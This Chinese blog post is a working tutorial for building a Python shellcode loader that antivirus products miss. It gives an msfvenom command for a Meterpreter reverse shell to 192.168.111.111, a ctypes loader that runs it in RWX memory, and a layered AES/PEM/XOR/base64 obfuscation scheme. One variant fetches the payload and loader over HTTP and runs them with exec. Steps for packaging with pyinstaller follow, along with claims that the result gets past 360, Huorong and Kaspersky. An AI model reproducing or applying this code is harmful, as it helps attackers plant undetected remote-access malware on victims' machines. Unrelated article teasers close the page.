python加载shellcode免杀

news2025/6/24 19:09:27

1、第一个shellcode加载器

import ctypes


# msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
buf =  b""
buf += b"\xeb\x27\x5b\x53\x5f\xb0\xe7\xfc\xae\x75\xfd\x57"
#-------shellcode省略-------


#以下为shellcode加载器
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

2、python加载shellcode免杀

  • 利用msf生成shellcode

    msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
    
  • 编码,生成混淆后的shellcode和加载器

    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM
    
    
    # msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
    buf =  b""
    buf += b"\xeb\x27\x5b\x53\x5f\xb0\xe7\xfc\xae\x75\xfd\x57"
    #-------shellcode省略-------
    
    
    # shellcode加载器,这里用byte类型方便base64编码
    shell_loader = b'''
    ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
    '''
    
    
    key = b'4d65017f65d72aada5d1ab08d5c4bd18'       # 参数key: 秘钥,要求是bytes类型,并且长度必须是16、24或32 bytes,因为秘钥的长度可以为:128位、192位、256位
    iv = b'7d2d3e0bb1642d52'                        #初始化向量,第一组明文就是用它加密
    
    def aes_encode(shellcode):
        a = AES.new(key, AES.MODE_CBC, iv)          # 创建用于加密的AES对象  AES.new(密钥, 加密模式, 初始化向量)
    
        b = a.encrypt(pad(shellcode, 32))           # 使用对象进行加密,加密的时候,需要使用pad对数据进行填充,因为加密的数据要求必须是能被128整除
                                                    # pad参数内容,第一个是待填充的数据,第二个是填充成多大的数据,需要填充成256位即32bytes
        return binascii.b2a_hex(b)                  # 将加密后的结果(二进制)转换成十六进制的或者其它形式
    
    
    def b_to_a(shellcode):
        return binascii.b2a_hex(shellcode)          # 将字节类型转换为字符串
    
    
    def b64_encode(shellcode):
        return base64.b64encode(shellcode)          # base64编码
    
    def PEM_encode(shellcode):
        shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode')     #PEM加密,PEM.encode(需要加密的数据, 指定名称这里为空, passphrase:指定密钥)
        return shellcode
    
    
    def shellcode_xor(shellcode):                   # 异或变形
        xor_code = ''								#空字符串方便异或后拼接
        for i in shellcode:
            i = ord(i) ^ 678						#把每个字符转成ASCII值与678进行异或
            xor_code += str(i) + '_'				#异或后的每个字符使用 _ 进行拼接
        return xor_code[:-1]						#去除掉最后一个 _
    
    
    def shellcode_encode(shellcode):
        return shellcode_xor(PEM_encode(aes_encode(b64_encode(b_to_a(shellcode)))))          # 对shellcode进行处理 转换为字符串 -> base64编码 -> aes加密 -> PEM加密 -> 异或 -> 最终结果'739_744_736_738_752_764_749_717_721_704_.......'
    
    
    def main(shellcode):
        return (shellcode_encode(shellcode), base64.b64encode(shell_loader[::-1]))            # 返回值为元组 (混淆后的shellcode, 加载器先反转再base64编码)
    
    
    if __name__ == '__main__':
        shellcode, shell_loader = main(buf)       # buf为msf生成的shellcode
        print(shellcode)                        # 混淆后的shellcode
        print(shell_loader)                       # 加载器先反转再base64编码得到的结果
    
  • 加载器

    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM
    
    #混淆后的shellcode
    shellcode = '651_651_651_651_651_740_739_737_751_744_646_651_651_651_651_651_684_758_724_713_709_651_
    
    混淆后的加载器
    shell_load = b'CikxLSAsZWxkbmFoKHRjZWpiT2VsZ25pU3JvRnRpYVcuMjNsZW5yZWsubGxkbml3LnNlcHl0YwopMCAsMCAsMCAsKWVnYXB4d3IoNDZ0bml1X2Muc2VweXRjICwwICwwKGRhZXJoVGV0YWVyQy4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWxkbmFoCikpZnViKG5lbCAsKWZ1YihyZWZmdWJfZ25pcnRzX2V0YWVyYy5zZXB5dGMgLCllZ2FweHdyKDQ2dG5pdV9jLnNlcHl0Yyh5cm9tZU1ldm9NbHRSLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMKKTA0eDAgLDAwMDN4MCAsKWZ1YihuZWwgLDAoY29sbEFsYXV0cmlWLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgPSBlZ2FweHdyCjQ2dG5pdV9jLnNlcHl0Yz1lcHl0c2VyLmNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjCg=='
    
    key = b'4d65017f65d72aada5d1ab08d5c4bd18'
    iv = b'7d2d3e0bb1642d52'
    
    def aes_decode(shellcode):
        a = AES.new(key, AES.MODE_CBC, iv)
        shellcode = binascii.a2b_hex(shellcode)
        shellcode = unpad(a.decrypt(shellcode), 32)
        return shellcode
    
    def a_to_b(shellcode):
        return binascii.a2b_hex(shellcode)
    
    def b64decode(shellcode):
        return base64.b64decode(shellcode)
    
    def PEM_decode(shellcode):
        shellcode = PEM.decode(shellcode, passphrase=b'shellcode')
        return shellcode
    
    def shellcode_xor_decode(shellcode):
        shellcode = shellcode.split('_')
        xor_code = ''
        for i in shellcode:
            i = int(i) ^ 678
            xor_code += chr(i)
        return xor_code
    
    def main():
        return a_to_b(b64decode(aes_decode(PEM_decode(shellcode_xor_decode(shellcode))[0])))
    
    if __name__ == '__main__':
        buf = main()
        exec(base64.b64decode(shell_load)[::-1])
    
    • pyinstaller进行打包(打包前删除所有注释)

      pyinstaller.exe -F -w C:\demo_load.py
      
  • 测试结果

    • VIRUSTOTAL:https://www.virustotal.com/gui/home/upload

      在这里插入图片描述

    • 微步在线:https://s.threatbook.com/

      在这里插入图片描述

    • 可以过火绒静态和动态特征正常上线,但无法过360和卡巴斯基

      在这里插入图片描述

3、网络分离

  • 编码,生成混淆后的shellcode和加载器,写入文件a.txt

    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM
    
    
    # msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
    buf =  b""
    buf += b"\xeb\x27\x5b\x53\x5f\xb0\xe7\xfc\xae\x75\xfd\x57"
    #-------shellcode省略-------
    
    
    # shellcode加载器
    shell_loader = b'''
    ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
    '''
    
    
    key = b'4d65017f65d72aada5d1ab08d5c4bd18'       # 参数key: 秘钥,要求是bytes类型,并且长度必须是16、24或32 bytes,因为秘钥的长度可以为:128位、192位、256位
    iv = b'7d2d3e0bb1642d52'                        #初始化向量,第一组明文就是用它加密
    
    def aes_encode(shellcode):
        a = AES.new(key, AES.MODE_CBC, iv)          # 创建用于加密的AES对象  AES.new(密钥, 加密模式, 初始化向量)
    
        b = a.encrypt(pad(shellcode, 32))           # 使用对象进行加密,加密的时候,需要使用pad对数据进行填充,因为加密的数据要求必须是能被128整除
                                                    # pad参数内容,第一个是待填充的数据,第二个是填充成多大的数据,需要填充成256位即32bytes
        return binascii.b2a_hex(b)                  # 将加密后的结果(二进制)转换成十六进制的或者其它形式
    
    
    def b_to_a(shellcode):
        return binascii.b2a_hex(shellcode)          # 将字节类型转换为字符串
    
    
    def b64_encode(shellcode):
        return base64.b64encode(shellcode)          # base64编码
    
    def PEM_encode(shellcode):
        shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode')     #PEM加密,PEM.encode(需要加密的数据, 指定名称这里为空, passphrase:指定密钥)
        return shellcode
    
    
    def shellcode_xor(shellcode):                   # 异或变形
        xor_code = ''								#空字符串方便异或后拼接
        for i in shellcode:
            i = ord(i) ^ 678						#把每个字符转成ASCII值与678进行异或
            xor_code += str(i) + '_'				#异或后的每个字符使用 _ 进行拼接
        return xor_code[:-1]						#去除掉最后一个 _
    
    
    def shellcode_encode(shellcode):
        return shellcode_xor(PEM_encode(aes_encode(b64_encode(b_to_a(shellcode)))))          # 对shellcode进行处理 转换为字符串 -> base64编码 -> aes加密 -> PEM加密 -> 异或 -> 最终结果'739_744_736_738_752_764_749_717_721_704_.......'
    
    
    def main(shellcode):
        return (shellcode_encode(shellcode), base64.b64encode(shell_loader[::-1]))            # 返回值为元组 (混淆后的shellcode, 加载器先反转再base64编码)
    
    
    if __name__ == '__main__':
        shellcode, shell_loader = main(buf)       # buf为msf生成的shellcode
        with open('a.txt', mode='w') as f1:		  #混淆后的shellcode写入a.txt文件中
            f1.write(shellcode)
    
  • 对加载器进行编码写入文件b.txt

    test = b'''
    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM
    
    shell_load = b'CikxLSAsZWxkbmFoKHRjZWpiT2VsZ25pU3JvRnRpYVcuMjNsZW5yZWsubGxkbml3LnNlcHl0YwopMCAsMCAsMCAsKWVnYXB4d3IoNDZ0bml1X2Muc2VweXRjICwwICwwKGRhZXJoVGV0YWVyQy4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWxkbmFoCikpZnViKG5lbCAsKWZ1YihyZWZmdWJfZ25pcnRzX2V0YWVyYy5zZXB5dGMgLCllZ2FweHdyKDQ2dG5pdV9jLnNlcHl0Yyh5cm9tZU1ldm9NbHRSLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMKKTA0eDAgLDAwMDN4MCAsKWZ1YihuZWwgLDAoY29sbEFsYXV0cmlWLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgPSBlZ2FweHdyCjQ2dG5pdV9jLnNlcHl0Yz1lcHl0c2VyLmNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjCg=='
    
    key = b'4d65017f65d72aada5d1ab08d5c4bd18'
    iv = b'7d2d3e0bb1642d52'
    
    def aes_decode(shellcode):
        a = AES.new(key, AES.MODE_CBC, iv)
        shellcode = binascii.a2b_hex(shellcode)
        shellcode = unpad(a.decrypt(shellcode), 32)
        return shellcode
    
    def a_to_b(shellcode):
        return binascii.a2b_hex(shellcode)
    
    def b64decode(shellcode):
        return base64.b64decode(shellcode)
    
    def PEM_decode(shellcode):
        shellcode = PEM.decode(shellcode, passphrase=b'shellcode')
        return shellcode
    
    def shellcode_xor_decode(shellcode):
        shellcode = shellcode.split('_')
        xor_code = ''
        for i in shellcode:
            i = int(i) ^ 678
            xor_code += chr(i)
        return xor_code
    
    def main(shellcode):
        return a_to_b(b64decode(aes_decode(PEM_decode(shellcode_xor_decode(shellcode))[0])))
        
    buf = main(buf)
    exec(base64.b64decode(shell_load)[::-1])
    '''
    b = base64.b64encode(test[::-1])
    with open('b.txt', mode='w') as f1:
        f1.write(b)
    
  • 将加密和编码后的shellcode和加载器代码通过网络下载

    import requests
    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM
    
    
    a = requests.get('http://192.168.111.111:8000/a.txt')
    buf = a.text
    
    b = requests.get('http://192.168.111.111:8000/b.txt')
    exec(base64.b64decode(b.content)[::-1].decode())
    
    • pyinstaller进行打包(打包前删除所有注释)

      pyinstaller.exe -F -w C:\request_load.py
      
  • 测试结果

    • VIRUSTOTAL:https://www.virustotal.com/gui/home/upload

      在这里插入图片描述

    • 微步在线:https://s.threatbook.com/

      在这里插入图片描述

    • 可以过火绒静态和动态特征正常上线

      在这里插入图片描述

    • 可以过360静态和动态特征正常上线

      在这里插入图片描述

    • 无法过卡巴斯基

4、本地分离

  • 把编码后的shellcode保存到a.txt中

    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM
    
    
    # msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
    buf =  b""
    buf += b"\xeb\x27\x5b\x53\x5f\xb0\xe7\xfc\xae\x75\xfd\x57"
    #-------shellcode省略-------
    
    
    # shellcode加载器
    shell_loader = b'''
    ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
    '''
    
    
    key = b'4d65017f65d72aada5d1ab08d5c4bd18'       # 参数key: 秘钥,要求是bytes类型,并且长度必须是16、24或32 bytes,因为秘钥的长度可以为:128位、192位、256位
    iv = b'7d2d3e0bb1642d52'                        #初始化向量,第一组明文就是用它加密
    
    def aes_encode(shellcode):
        a = AES.new(key, AES.MODE_CBC, iv)          # 创建用于加密的AES对象  AES.new(密钥, 加密模式, 初始化向量)
    
        b = a.encrypt(pad(shellcode, 32))           # 使用对象进行加密,加密的时候,需要使用pad对数据进行填充,因为加密的数据要求必须是能被128整除
                                                    # pad参数内容,第一个是待填充的数据,第二个是填充成多大的数据,需要填充成256位即32bytes
        return binascii.b2a_hex(b)                  # 将加密后的结果(二进制)转换成十六进制的或者其它形式
    
    
    def b_to_a(shellcode):
        return binascii.b2a_hex(shellcode)          # 将字节类型转换为字符串
    
    
    def b64_encode(shellcode):
        return base64.b64encode(shellcode)          # base64编码
    
    def PEM_encode(shellcode):
        shellcode = PEM.encode(shellcode, '', passphrase=b'shellcode')     #PEM加密,PEM.encode(需要加密的数据, 指定名称这里为空, passphrase:指定密钥)
        return shellcode
    
    
    def shellcode_xor(shellcode):                   # 异或变形
        xor_code = ''								#空字符串方便异或后拼接
        for i in shellcode:
            i = ord(i) ^ 678						#把每个字符转成ASCII值与678进行异或
            xor_code += str(i) + '_'				#异或后的每个字符使用 _ 进行拼接
        return xor_code[:-1]						#去除掉最后一个 _
    
    
    def shellcode_encode(shellcode):
        return shellcode_xor(PEM_encode(aes_encode(b64_encode(b_to_a(shellcode)))))          # 对shellcode进行处理 转换为字符串 -> base64编码 -> aes加密 -> PEM加密 -> 异或 -> 最终结果'739_744_736_738_752_764_749_717_721_704_.......'
    
    
    def main(shellcode):
        return (shellcode_encode(shellcode), base64.b64encode(shell_loader[::-1]))            # 返回值为元组 (混淆后的shellcode, 加载器先反转再base64编码)
    
    
    if __name__ == '__main__':
        shellcode, shell_loader = main(buf)       # buf为msf生成的shellcode
        with open('a.txt', mode='w') as f1:		  #混淆后的shellcode写入a.txt文件中
            f1.write(shellcode)
    
  • 对加载器进行编码

    test = b'''
    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM
    
    shell_load = b'CikxLSAsZWxkbmFoKHRjZWpiT2VsZ25pU3JvRnRpYVcuMjNsZW5yZWsubGxkbml3LnNlcHl0YwopMCAsMCAsMCAsKWVnYXB4d3IoNDZ0bml1X2Muc2VweXRjICwwICwwKGRhZXJoVGV0YWVyQy4yM2xlbnJlay5sbGRuaXcuc2VweXRjID0gZWxkbmFoCikpZnViKG5lbCAsKWZ1YihyZWZmdWJfZ25pcnRzX2V0YWVyYy5zZXB5dGMgLCllZ2FweHdyKDQ2dG5pdV9jLnNlcHl0Yyh5cm9tZU1ldm9NbHRSLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMKKTA0eDAgLDAwMDN4MCAsKWZ1YihuZWwgLDAoY29sbEFsYXV0cmlWLjIzbGVucmVrLmxsZG5pdy5zZXB5dGMgPSBlZ2FweHdyCjQ2dG5pdV9jLnNlcHl0Yz1lcHl0c2VyLmNvbGxBbGF1dHJpVi4yM2xlbnJlay5sbGRuaXcuc2VweXRjCg=='
    
    key = b'4d65017f65d72aada5d1ab08d5c4bd18'
    iv = b'7d2d3e0bb1642d52'
    
    def aes_decode(shellcode):
        a = AES.new(key, AES.MODE_CBC, iv)
        shellcode = binascii.a2b_hex(shellcode)
        shellcode = unpad(a.decrypt(shellcode), 32)
        return shellcode
    
    def a_to_b(shellcode):
        return binascii.a2b_hex(shellcode)
    
    def b64decode(shellcode):
        return base64.b64decode(shellcode)
    
    def PEM_decode(shellcode):
        shellcode = PEM.decode(shellcode, passphrase=b'shellcode')
        return shellcode
    
    def shellcode_xor_decode(shellcode):
        shellcode = shellcode.split('_')
        xor_code = ''
        for i in shellcode:
            i = int(i) ^ 678
            xor_code += chr(i)
        return xor_code
    
    def main(shellcode):
        return a_to_b(b64decode(aes_decode(PEM_decode(shellcode_xor_decode(shellcode))[0])))
    
    
    with open('./a.txt', mode='r') as f1:			#读取保存到a.txt中的shellcode
        buf = main(f1.read())						#对shellcode进行解码
        exec(base64.b64decode(shell_load)[::-1])	#利用加载器执行shellcode
    '''
    b = base64.b64encode(test[::-1])	#先反转再base64编码
    print(b)
    
  • 最终的加载器,执行之前a.txt要在同一级目录

    import base64
    import binascii
    import ctypes
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    from Crypto.IO import PEM
    
    
    shell_loader = b'CildMS06OlspZGFvbF9sbGVocyhlZG9jZWQ0NmIuNDZlc2FiKGNleGUgICAgCikpKGRhZXIuMWYobmlhbSA9IGZ1YiAgICAKOjFmIHNhICkncic9ZWRvbSAsJ3R4dC5hLy4nKG5lcG8gaHRpdwoKCikpKV0wWykpZWRvY2xsZWhzKGVkb2NlZF9yb3hfZWRvY2xsZWhzKGVkb2NlZF9NRVAoZWRvY2VkX3NlYShlZG9jZWQ0NmIoYl9vdF9hIG5ydXRlciAgICAKOillZG9jbGxlaHMobmlhbSBmZWQKCmVkb2Nfcm94IG5ydXRlciAgICAKKWkocmhjID0rIGVkb2Nfcm94ICAgICAgICAKODc2IF4gKWkodG5pID0gaSAgICAgICAgCjplZG9jbGxlaHMgbmkgaSByb2YgICAgCicnID0gZWRvY19yb3ggICAgCiknXycodGlscHMuZWRvY2xsZWhzID0gZWRvY2xsZWhzICAgIAo6KWVkb2NsbGVocyhlZG9jZWRfcm94X2Vkb2NsbGVocyBmZWQKCmVkb2NsbGVocyBucnV0ZXIgICAgCiknZWRvY2xsZWhzJ2I9ZXNhcmhwc3NhcCAsZWRvY2xsZWhzKGVkb2NlZC5NRVAgPSBlZG9jbGxlaHMgICAgCjopZWRvY2xsZWhzKGVkb2NlZF9NRVAgZmVkCgopZWRvY2xsZWhzKGVkb2NlZDQ2Yi40NmVzYWIgbnJ1dGVyICAgIAo6KWVkb2NsbGVocyhlZG9jZWQ0NmIgZmVkCgopZWRvY2xsZWhzKHhlaF9iMmEuaWljc2FuaWIgbnJ1dGVyICAgIAo6KWVkb2NsbGVocyhiX290X2EgZmVkCgplZG9jbGxlaHMgbnJ1dGVyICAgIAopMjMgLCllZG9jbGxlaHModHB5cmNlZC5hKGRhcG51ID0gZWRvY2xsZWhzICAgIAopZWRvY2xsZWhzKHhlaF9iMmEuaWljc2FuaWIgPSBlZG9jbGxlaHMgICAgCil2aSAsQ0JDX0VET00uU0VBICx5ZWsod2VuLlNFQSA9IGEgICAgCjopZWRvY2xsZWhzKGVkb2NlZF9zZWEgZmVkCgonMjVkMjQ2MWJiMGUzZDJkNydiID0gdmkKJzgxZGI0YzVkODBiYTFkNWFkYWEyN2Q1NmY3MTA1NmQ0J2IgPSB5ZWsKCic9PWdDalJYZXdWMmN1Y1hhdVJHYnM1eWFsSm5ibHgyTXk0aVZwSkhkMUZHYkJ4R2J2Tm1MeVYyYzBsSGNsMXpZMGxIY2xObkxqOVZkcDVHZDJRakN5ZEhld0YyWmxCU1BnTUdkNUJYWno1eWRwNUdac3htTHJWbWN1VkdieklqTFdsbWMwVlhZc0ZFYnM5MllvQURMZ3dXWnVoaVkxWldLc0FDTTRORE13QURMZ0FEZTBBVEtLTUdkNUJYWno1eWRwNUdac3htTHJWbWN1VkdieklqTFNSSGJOOW1kbDFVWnQ5bWM1aHlZMGxIY2xObkxqOVZkcDVHZDJRREt5ZEhld0YyWmxsQ0xnTUdkNUJYWno1eVl5VldZMFYyWHpSbmNwNTJaZkpXZG1aV1p5aGlZMVpXS3NBQ2JsNUdLaVZuWnBraUNvRm1ia3hXWmcwRElqUlhld1YyY3VjWGF1UkdiczV5YWxKbmJseDJNeTR5UXlWV1kwVkdWb0pYWmhSR0t3d0NJd3dDSWpSWGV3VjJjdU0yWDFsbWIwWkROb0kzZDRCWFluVldLc0FDTXNBQ01zQUNNcG93WTBsSGNsTm5MM2xtYmt4R2J1c1daeTVXWnNOak11Y1ZZcFJuUnZKM1VwNTJac1YyVGlwV1pqUkhLb0ZtYmt4V1pzQVNMeGtpQydiID0gZGFvbF9sbGVocwoKTUVQIHRyb3BtaSBPSS5vdHB5ckMgbW9yZgpkYXBudSAsZGFwIHRyb3BtaSBnbmlkZGFQLmxpdFUub3RweXJDIG1vcmYKU0VBIHRyb3BtaSByZWhwaUMub3RweXJDIG1vcmYKc2VweXRjIHRyb3BtaQppaWNzYW5pYiB0cm9wbWkKNDZlc2FiIHRyb3BtaQo='
    exec(base64.b64decode(shellcode_loader)[::-1])
    
    • pyinstaller进行打包(打包前删除所有注释)

      pyinstaller.exe -F -w C:\a.py
      
  • 测试结果

    • VIRUSTOTAL:https://www.virustotal.com/gui/home/upload

      在这里插入图片描述

    • 微步在线:https://s.threatbook.com/

      在这里插入图片描述

    • 可以过火绒静态和动态特征正常上线

      在这里插入图片描述

    • 可以过360静态和动态特征正常上线

      在这里插入图片描述

      在这里插入图片描述

    • 可以过卡巴斯基静态和动态特征正常上线(这里使用的payload为windows/x64/meterpreter_reverse_tcp,如果使用windows/x64/meterpreter/reverse_tcp,会被卡巴斯基反网络攻击拦截无法上线)

      在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1086051.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Swift]同一个工程管理多个Target

1.准备 先创建一个测试工程“ADemo”,右键其Target选择Duplicate,再复制一个Target为“ADemo2”。 再选择TARGETS下方的“”,添加一个APP到项目中,这个命名为“BDemo”。 2、管理多个Target 可以对三个target分别导入不同的框…

SEO盲目优化带来的严重后果(警惕过度依赖SEO优化的风险)

SEO(SearchEngineOptimization)优化是提高网站在搜索引擎中排名,吸引更多流量的重要手段。但是,为了追求更高的排名和流量,很多企业或个人对SEO优化盲目依赖,而忽视了网站的质量与用户体验,这将…

python随手小练5

1、求1-100的累加和&#xff08;终止条件 1-100&#xff09;&#xff08;while和for两种&#xff09; #while循环 count 0 index 0 while index < 100:count indexindex 1 print(count)#for循环 sum 0 for i in range(0,101):sum i print(sum)结果&#xff1a; 5050 2…

Go If流程控制与快乐路径原则

Go if流程控制与快乐路径原则 文章目录 Go if流程控制与快乐路径原则一、流程控制基本介绍二、if 语句2.1 if 语句介绍2.2 单分支结构的 if 语句形式2.3 Go 的 if 语句的特点2.3.1 分支代码块左大括号与if同行2.3.2 条件表达式不需要括号 三、操作符3.1 逻辑操作符3.2 操作符的…

【Java 进阶篇】JavaScript二元运算符详解

JavaScript是一门多用途的编程语言&#xff0c;它支持各种运算符&#xff0c;包括二元运算符。二元运算符用于执行两个操作数之间的操作&#xff0c;这两个操作数通常是变量、值或表达式。在本篇博客中&#xff0c;我们将详细探讨JavaScript的二元运算符&#xff0c;包括它们的…

SpringCloud微服务(简略笔记一)

目录 介绍 ​编辑 认识微服务 单体架构 分布式架构 微服务分析&#xff1a; 分布式架构(SpringCloud微服务) 服务拆分与服务远程调用&#xff1a; 提供者与消费者 微服务治理 Eureka注册中心 操作步骤 Ribbon负载均衡 负载均衡流程 自定义负载均衡策略 饥饿加载 …

手把手改进yolo训练自己的数据(坑洼路面识别)

结果展示 在Pothole Detection数据集上对YOLOv7进行微调的步骤如下&#xff1a; 0 环境配置 if not os.path.exists(yolov7): !git clone https://github.com/WongKinYiu/yolov7.git %cd yolov7 !pip install -r requirements.txt数据集准备&#xff1a; 收集一个专门用于po…

栈的运行算法

一&#xff0c;顺序栈的静态分配 二&#xff0c;顺序栈的动态分配 #include<stdio.h> #include<stdlib.h> #define initsize 5 #define incresize 5typedef struct Sqstack{int *base;int *top;int stacksize; }Sqstack;void InitStack(Sqstack *s){(*s).base(int…

数字孪生技术:新零售的未来之路

随着科技的不断进步&#xff0c;新零售产业正经历着巨大的变革。数字孪生作为一种新兴技术正在加速这一变革的进程。它不仅为新零售企业带来了更高效的运营方式&#xff0c;还为消费者提供了更个性化、便捷的购物体验。那么&#xff0c;数字孪生技术究竟如何在新零售产业中发挥…

选择同步云盘工具?这些值得一试的优秀选择!

对于云盘用户而言&#xff0c;同步功能是影响产品选择的重要因素。在日常办公过程中&#xff0c;我们难免会遇到需要查看文件&#xff0c;但是存储文件的原设备不在身边的情况。这个时候同步云盘的重要性就显现出来了. 同步云盘的优势 文件同步&#xff1a;同步云盘可以将文件…

L05_SpringBoot入门

SpringBoot入门 浅谈Restful风格代码实现(并且通过Apifox进行接口测试[以传入json格式数据为例])首先创建一个SpringBoot项目,pom文件包引入如下下面在新建src创建com.ndky.controller包,然后再在包内创建一个HelloController类编写(一个简易的restful风格的代码)编写GET请求代…

正则表达式基础语法

https://tool.oschina.net/regex 正则表达式&#xff1a;检查、匹配字符串的表达式 单个字符匹配&#xff1a; 有特殊含义的匹配&#xff1a; 多次重复匹配&#xff1a; 限定开头结尾的匹配&#xff1a; 贪婪模式&#xff1a;在满足条件的情况下&#xff0c;尽可能多匹配…

Python算法练习 10.12

leetcode 649 Dota2参议院 Dota2 的世界里有两个阵营&#xff1a;Radiant&#xff08;天辉&#xff09;和 Dire&#xff08;夜魇&#xff09; Dota2 参议院由来自两派的参议员组成。现在参议院希望对一个 Dota2 游戏里的改变作出决定。他们以一个基于轮为过程的投票进行。在每…

MNIST字符识别(C++)

构建网络 采用官方示例的的lenet网络 训练 相关文件都已编译好&#xff0c;下载后执行命令即可 .\caffe-bin.exe train --solver .\lenet_solver.prototxt 识别 #include <caffe/caffe.hpp>#include <opencv2/core/core.hpp> #include <opencv2/highgui/hi…

炒现货白银的最佳时间

天时地利人和是我们进行现货白银投资最关键的因素。天时是指我们因时而动&#xff0c;在适合的时机出击。地利&#xff0c;就是我们对市场的定位&#xff0c;对自己入场的定位有清晰的了解&#xff0c;并且这些位置对我们有利。人和就是指投资者的状态很好&#xff0c;对如何进…

STM32MP157按键中断实验

按键配置 #include "key_it.h" #include "stm32mp1xx_gpio.h" #include "stm32mp1xx_gic.h" #include "stm32mp1xx_exti.h" #include "stm32mp1xx_rcc.h"void key_it_config() {/* RCC使能GPIOF时钟 */RCC->MP_AHB4ENSE…

九章云极DataCanvas公司入选《AIGC产业链北京专精特新企业图谱》

近日&#xff0c;北京市经济和信息化局成功举办AIGC&#xff08;生成式人工智能&#xff09;产业链专精特新企业融通路演活动&#xff0c;并正式发布《AIGC产业链北京市专精特新企业图谱》&#xff08;下称《图谱》&#xff09;。九章云极DataCanvas公司凭借DataCanvas Alaya九…

Python- socket编程

Python中的socket模块为网络通信提供了基础API&#xff0c;使我们能够在应用程序中实现低级的网络交互。使用socket编程&#xff0c;可以创建TCP、UDP和RAW sockets来进行数据通信。 以下是Python socket 编程的简要概述&#xff1a; 1. 核心概念 Socket: 通信的端点&#x…

PTrade获取当日n个季度前的日期所处季度的最后一天——时间相关函数4

本文介绍的函数用于获取当日n个季度前的日期所处季度的最后一天&#xff08;有点绕&#xff0c;看后面例子就好理解了&#xff09;。 源码 def last_day_of_quarter_before_n_quarters(n):"""获取当日n个季度前的日期所处季度的最后一天:return: 当日n个季度前…

leetcode 打家劫舍篇

198. 打家劫舍 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋。每间房内都藏有一定的现金&#xff0c;影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统&#xff0c;如果两间相邻的房屋在同一晚上被小偷闯入&#xff0c;系统会自动报警。 给定一个代表每个…